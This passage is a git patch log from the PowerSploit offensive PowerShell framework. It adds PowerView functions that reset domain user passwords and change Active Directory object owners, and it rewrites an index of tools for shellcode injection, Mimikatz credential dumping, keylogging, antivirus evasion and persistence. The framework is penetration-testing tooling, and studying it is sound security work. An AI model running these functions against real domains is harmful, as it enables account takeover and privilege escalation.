'Recon/Find-InterestingFile.md' + - Find-DomainUserLocation: 'Recon/Find-DomainUserLocation.md' + - Find-DomainProcess: 'Recon/Find-DomainProcess.md' + - Find-DomainUserEvent: 'Recon/Find-DomainUserEvent.md' + - Find-DomainShare: 'Recon/Find-DomainShare.md' + - Find-InterestingDomainShareFile: 'Recon/Find-InterestingDomainShareFile.md' + - Find-LocalAdminAccess: 'Recon/Find-LocalAdminAccess.md' + - Find-DomainLocalGroupMember: 'Recon/Find-DomainLocalGroupMember.md' + - Get-DomainTrust: 'Recon/Get-DomainTrust.md' + - Get-ForestTrust: 'Recon/Get-ForestTrust.md' + - Get-DomainForeignUser: 'Recon/Get-DomainForeignUser.md' + - Get-DomainForeignGroupMember: 'Recon/Get-DomainForeignGroupMember.md' + - Get-DomainTrustMapping: 'Recon/Get-DomainTrustMapping.md' + - Get-ComputerDetails: 'Recon/Get-ComputerDetails.md' + - Get-HttpStatus: 'Recon/Get-HttpStatus.md' + - Invoke-Portscan: 'Recon/Invoke-Portscan.md' + - Invoke-ReverseDnsLookup: 'Recon/Invoke-ReverseDnsLookup.md' - About: - License: 'LICENSE.md' \ No newline at end of file -- cgit v1.2.3 From f4f5fb1460a8163e333c9e5462df6d3ab27a53a6 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 13 Dec 2016 16:00:28 -0500 Subject: Added Set-DomainUserPassword to reset a particular user's password. Reformatted documentation. --- README.md | 2 +- Recon/PowerView.ps1 | 113 ++++++++++++++++++ Recon/README.md | 1 + Recon/Recon.psd1 | 1 + docs/Recon/Set-DomainUserPassword.md | 127 ++++++++++++++++++++ docs/Recon/index.md | 14 --- docs/index.md | 223 +++++++++-------------------------- mkdocs.yml | 1 + 8 files changed, 298 insertions(+), 184 deletions(-) create mode 100755 docs/Recon/Set-DomainUserPassword.md (limited to 'docs') diff --git a/README.md b/README.md index c348b9e..60ac90f 100644 --- a/README.md +++ b/README.md @@ -132,7 +132,7 @@ Displays Windows vault credential objects including cleartext web credentials. Generates a full-memory minidump of a process. -#### 'Get-MicrophoneAudio' +#### `Get-MicrophoneAudio` Records audio from system microphone and saves to disk diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 32aa10f..5d404f3 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4894,6 +4894,119 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- } +function Set-DomainUserPassword { +<# +.SYNOPSIS + +Sets the password for a given user identity and returns the user object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +.PARAMETER Identity + +A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +.PARAMETER AccountPassword + +Specifies the password to reset the target user's to. Mandatory. + +.PARAMETER Domain + +Specifies the domain to use to search for the user identity, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +.OUTPUTS + +DirectoryServices.AccountManagement.UserPrincipal + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('UserName', 'UserIdentity', 'User')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Password')] + [Security.SecureString] + $AccountPassword, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ 'Identity' = $Identity } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity) + + if ($User) { + Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'" + try { + $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) + $User.SetPassword($TempCred.GetNetworkCredential().Password) + + $Null = $User.Save() + Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" + $User + } + catch { + Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" + } + } + else { + Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'" + } + } +} + + function Get-DomainUserEvent { <# .SYNOPSIS diff --git a/Recon/README.md b/Recon/README.md index acc2627..7fcacc5 100644 --- a/Recon/README.md +++ b/Recon/README.md @@ -58,6 +58,7 @@ an array of hosts from the pipeline. Find-DomainObjectPropertyOutlier- inds user/group/computer objects in AD that have 'outlier' properties set Get-DomainUser - return all users or specific user objects in AD New-DomainUser - creates a new domain user (assuming appropriate permissions) and returns the user object + Set-DomainUserPassword - sets the password for a given user identity and returns the user object Get-DomainUserEvent - enumerates account logon events (ID 4624) and Logon with explicit credential events Get-DomainComputer - returns all computers or specific computer objects in AD Get-DomainObject - returns all (or specified) domain objects in AD diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 6cdcfba..7e2abcb 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -46,6 +46,7 @@ FunctionsToExport = @( 'Find-DomainObjectPropertyOutlier', 'Get-DomainUser', 'New-DomainUser', + 'Set-DomainUserPassword', 'Get-DomainUserEvent', 'Get-DomainComputer', 'Get-DomainObject', diff --git a/docs/Recon/Set-DomainUserPassword.md b/docs/Recon/Set-DomainUserPassword.md new file mode 100755 index 0000000..1712294 --- /dev/null +++ b/docs/Recon/Set-DomainUserPassword.md @@ -0,0 +1,127 @@ +# Set-DomainUserPassword + +## SYNOPSIS +Sets the password for a given user identity and returns the user object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +## SYNTAX + +``` +Set-DomainUserPassword [-Identity] -AccountPassword [-Domain ] + [-Credential ] +``` + +## DESCRIPTION +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified user -Identity, +which returns a DirectoryServices.AccountManagement.UserPrincipal object. +The +SetPassword() function is then invoked on the user, setting the password to -AccountPassword. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword + +Resets the password for 'andy' to the password specified. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred + +Resets the password for 'andy' usering the alternate credentials specified. + +## PARAMETERS + +### -Identity +A user SamAccountName (e.g. +User1), DistinguishedName (e.g. +CN=user1,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +specifying the user to reset the password for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: UserName, UserIdentity, User + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AccountPassword +Specifies the password to reset the target user's to. +Mandatory. + +```yaml +Type: SecureString +Parameter Sets: (All) +Aliases: Password + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use to search for the user identity, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### DirectoryServices.AccountManagement.UserPrincipal + +## NOTES + +## RELATED LINKS + +[http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/](http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/) + diff --git a/docs/Recon/index.md b/docs/Recon/index.md index acc2627..b3eca5c 100644 --- a/docs/Recon/index.md +++ b/docs/Recon/index.md @@ -1,17 +1,3 @@ -To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Recon` - -To see the commands imported, type `Get-Command -Module Recon` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. - - ## PowerView PowerView is a PowerShell tool to gain network situational awareness on diff --git a/docs/index.md b/docs/index.md index c348b9e..67ddcbc 100644 --- a/docs/index.md +++ b/docs/index.md @@ -1,189 +1,74 @@ -### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: +## Overview +PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. -## CodeExecution +### CodeExecution +Execute code on a target machine. -**Execute code on a target machine.** + Invoke-DllInjection - Injects a Dll into the process ID of your choosing. + Invoke-ReflectivePEInjection - Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + Invoke-Shellcode - Injects shellcode into the process ID of your choosing or within PowerShell locally. + Invoke-WmiCommand - Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel -#### `Invoke-DllInjection` +### ScriptModification +Modify and/or prepare scripts for execution on a compromised machine. -Injects a Dll into the process ID of your choosing. + Out-EncodedCommand - Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. + Out-CompressedDll - Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. + Out-EncryptedScript - Encrypts text files/scripts. + Remove-Comments - Strips comments and extra whitespace from a script. -#### `Invoke-ReflectivePEInjection` +### Persistence -Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. +Add persistence capabilities to a PowerShell script. -#### `Invoke-Shellcode` + New-UserPersistenceOption - Configure user-level persistence options for the Add-Persistence function. + New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function. + Add-Persistence - Add persistence capabilities to a script. + Install-SSP - Installs a security support provider (SSP) dll. + Get-SecurityPackages - Enumerates all loaded security packages (SSPs). -Injects shellcode into the process ID of your choosing or within PowerShell locally. +### AntivirusBypass +AV doesn't stand a chance against PowerShell! -#### `Invoke-WmiCommand` + Find-AVSignature - Locates single Byte AV signatures utilizing the same method as DSplit from "class101". -Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. +### Exfiltration +All your data belong to me! -## ScriptModification + Invoke-TokenManipulation - Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + Invoke-CredentialInjection - Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + Invoke-NinjaCopy - Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + Invoke-Mimikatz - Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + Get-Keystrokes - Logs keys pressed, time and the active window. + Get-GPPPassword - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + Get-GPPAutologon - Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. + Get-TimedScreenshot - A function that takes screenshots at a regular interval and saves them to a folder. + New-VolumeShadowCopy - Creates a new volume shadow copy. + Get-VolumeShadowCopy - Lists the device paths of all local volume shadow copies. + Mount-VolumeShadowCopy - Mounts a volume shadow copy. + Remove-VolumeShadowCopy - Deletes a volume shadow copy. + Get-VaultCredential - Displays Windows vault credential objects including cleartext web credentials. + Out-Minidump - Generates a full-memory minidump of a process. + Get-MicrophoneAudio - Records audio from system microphone and saves to disk. -**Modify and/or prepare scripts for execution on a compromised machine.** +### Mayhem +Cause general mayhem with PowerShell. -#### `Out-EncodedCommand` + Set-MasterBootRecord - Proof of concept code that overwrites the master boot record with the message of your choice. + Set-CriticalProcess - Causes your machine to blue screen upon exiting PowerShell. -Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. +### Privesc +Tools to help with escalating privileges on a target, including PowerUp. -#### `Out-CompressedDll` + PowerUp - Clearing house of common privilege escalation checks, along with some weaponization vectors. -Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. +### Recon +Tools to aid in the reconnaissance phase of a penetration test, including PowerView. -#### `Out-EncryptedScript` - -Encrypts text files/scripts. - -#### `Remove-Comments` - -Strips comments and extra whitespace from a script. - -## Persistence - -**Add persistence capabilities to a PowerShell script** - -#### `New-UserPersistenceOption` - -Configure user-level persistence options for the Add-Persistence function. - -#### `New-ElevatedPersistenceOption` - -Configure elevated persistence options for the Add-Persistence function. - -#### `Add-Persistence` - -Add persistence capabilities to a script. - -#### `Install-SSP` - -Installs a security support provider (SSP) dll. - -#### `Get-SecurityPackages` - -Enumerates all loaded security packages (SSPs). - -## AntivirusBypass - -**AV doesn't stand a chance against PowerShell!** - -#### `Find-AVSignature` - -Locates single Byte AV signatures utilizing the same method as DSplit from "class101". - -## Exfiltration - -**All your data belong to me!** - -#### `Invoke-TokenManipulation` - -Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. - -#### `Invoke-CredentialInjection` - -Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). - -#### `Invoke-NinjaCopy` - -Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. - -#### `Invoke-Mimikatz` - -Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. - -#### `Get-Keystrokes` - -Logs keys pressed, time and the active window. - -#### `Get-GPPPassword` - -Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. - -#### `Get-GPPAutologon` - -Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences. - -#### `Get-TimedScreenshot` - -A function that takes screenshots at a regular interval and saves them to a folder. - -#### `New-VolumeShadowCopy` - -Creates a new volume shadow copy. - -#### `Get-VolumeShadowCopy` - -Lists the device paths of all local volume shadow copies. - -#### `Mount-VolumeShadowCopy` - -Mounts a volume shadow copy. - -#### `Remove-VolumeShadowCopy` - -Deletes a volume shadow copy. - -#### `Get-VaultCredential` - -Displays Windows vault credential objects including cleartext web credentials. - -#### `Out-Minidump` - -Generates a full-memory minidump of a process. - -#### 'Get-MicrophoneAudio' - -Records audio from system microphone and saves to disk - -## Mayhem - -**Cause general mayhem with PowerShell.** - -#### `Set-MasterBootRecord` - -Proof of concept code that overwrites the master boot record with the - message of your choice. - -#### `Set-CriticalProcess` - -Causes your machine to blue screen upon exiting PowerShell. - -## Privesc - -**Tools to help with escalating privileges on a target.** - -#### `PowerUp` - -Clearing house of common privilege escalation checks, along with some weaponization vectors. - -## Recon - -**Tools to aid in the reconnaissance phase of a penetration test.** - -#### `Invoke-Portscan` - -Does a simple port scan using regular sockets, based (pretty) loosely on nmap. - -#### `Get-HttpStatus` - -Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. - -#### `Invoke-ReverseDnsLookup` - -Scans an IP address range for DNS PTR records. - -#### `PowerView` - -PowerView is series of functions that performs network and Windows domain enumeration and exploitation. - -## Recon\Dictionaries - -**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** - -* admin.txt - -* generic.txt - -* sharepoint.txt - + Invoke-Portscan - Does a simple port scan using regular sockets, based (pretty) loosely on nmap. + Get-HttpStatus - Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file. + Invoke-ReverseDnsLookup - Scans an IP address range for DNS PTR records. + PowerView - PowerView is series of functions that performs network and Windows domain enumeration and exploitation. ## License diff --git a/mkdocs.yml b/mkdocs.yml index fb9ad52..fcaef8d 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -29,6 +29,7 @@ pages: - Find-DomainObjectPropertyOutlier: 'Recon/Find-DomainObjectPropertyOutlier.md' - Get-DomainUser: 'Recon/Get-DomainUser.md' - New-DomainUser: 'Recon/New-DomainUser.md' + - Set-DomainUserPassword: 'Recon/Set-DomainUserPassword.md' - Get-DomainUserEvent: 'Recon/Get-DomainUserEvent.md' - Get-DomainComputer: 'Recon/Get-DomainComputer.md' - Get-DomainObject: 'Recon/Get-DomainObject.md' -- cgit v1.2.3 From f00e3fc6c436f372953f48de1a8e2771b13844ec Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 13 Dec 2016 17:21:10 -0500 Subject: Added Set-DomainObjectOwner to modify an object's owner Modified Convert-LDAPProperty to break out sections of ntsecuritydescriptor --- Recon/PowerView.ps1 | 214 +++++++++++++++++++++++++++++--- Recon/Recon.psd1 | 1 + docs/Recon/Set-DomainObjectOwner.md | 234 +++++++++++++++++++++++++++++++++++ docs/Recon/Set-DomainUserPassword.md | 2 +- 4 files changed, 431 insertions(+), 20 deletions(-) create mode 100755 docs/Recon/Set-DomainObjectOwner.md (limited to 'docs') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5d404f3..cb2af32 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2741,7 +2741,20 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'ntsecuritydescriptor') { - $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 + if ($Descriptor.Owner) { + $ObjectProperties['Owner'] = $Descriptor.Owner + } + if ($Descriptor.Group) { + $ObjectProperties['Group'] = $Descriptor.Group + } + if ($Descriptor.DiscretionaryAcl) { + $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl + } + if ($Descriptor.SystemAcl) { + $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl + } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps @@ -4898,7 +4911,7 @@ function Set-DomainUserPassword { <# .SYNOPSIS -Sets the password for a given user identity and returns the user object. +Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause @@ -4994,7 +5007,6 @@ http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices- $Null = $User.Save() Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset" - $User } catch { Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_" @@ -6186,22 +6198,10 @@ Get-DomainUser -Identity testuser -Properties scriptpath scriptpath ---------- \\EVIL\program2.exe - -.OUTPUTS - -PowerView.ADObject - -Custom PSObject with translated AD object property fields, if -PassThru is enabled. - -PowerView.ADObject.Raw - -The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('PowerView.ADObject')] - [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -6253,10 +6253,6 @@ The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled [Int] $ServerTimeLimit, - [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] - [String] - $SecurityMasks, - [Switch] $Tombstone, @@ -6336,6 +6332,186 @@ The raw DirectoryServices.SearchResult object, if -PassThru and -Raw are enabled } +function Set-DomainObjectOwner { +<# +.SYNOPSIS + +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +.PARAMETER OwnerIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set for -Identity. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Alias('Owner')] + [String] + $OwnerIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid + if ($OwnerSid) { + $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid + } + else { + Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" + } + } + + PROCESS { + if ($OwnerIdentityReference) { + $SearcherArguments['Raw'] = $True + $SearcherArguments['Identity'] = $Identity + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + try { + Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" + $Entry = $RawObject.GetDirectoryEntry() + $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) + $Entry.PsBase.CommitChanges() + } + catch { + Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" + } + } + } + } +} + + function Get-DomainObjectAcl { <# .SYNOPSIS diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index 7e2abcb..71667c0 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -51,6 +51,7 @@ FunctionsToExport = @( 'Get-DomainComputer', 'Get-DomainObject', 'Set-DomainObject', + 'Set-DomainObjectOwner', 'Get-DomainObjectAcl', 'Add-DomainObjectAcl', 'Find-InterestingDomainAcl', diff --git a/docs/Recon/Set-DomainObjectOwner.md b/docs/Recon/Set-DomainObjectOwner.md new file mode 100755 index 0000000..0da8819 --- /dev/null +++ b/docs/Recon/Set-DomainObjectOwner.md @@ -0,0 +1,234 @@ +# Set-DomainObjectOwner + +## SYNOPSIS +Modifies the owner for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +## SYNTAX + +``` +Set-DomainObjectOwner [-Identity] -OwnerIdentity [-Domain ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Retrieves the Active Directory object specified by -Identity by splatting to +Get-DomainObject, returning the raw searchresult object. +Retrieves the raw +directoryentry for the object, and sets the object owner to -OwnerIdentity. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y +``` + +Set the owner of 'dfm' in the current domain to 'harmj0y'. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred + +Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the AD object to set the owner for. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DistinguishedName, SamAccountName, Name + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -OwnerIdentity +A SamAccountName (e.g. +harmj0y), DistinguishedName (e.g. +CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. +4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +of the owner to set 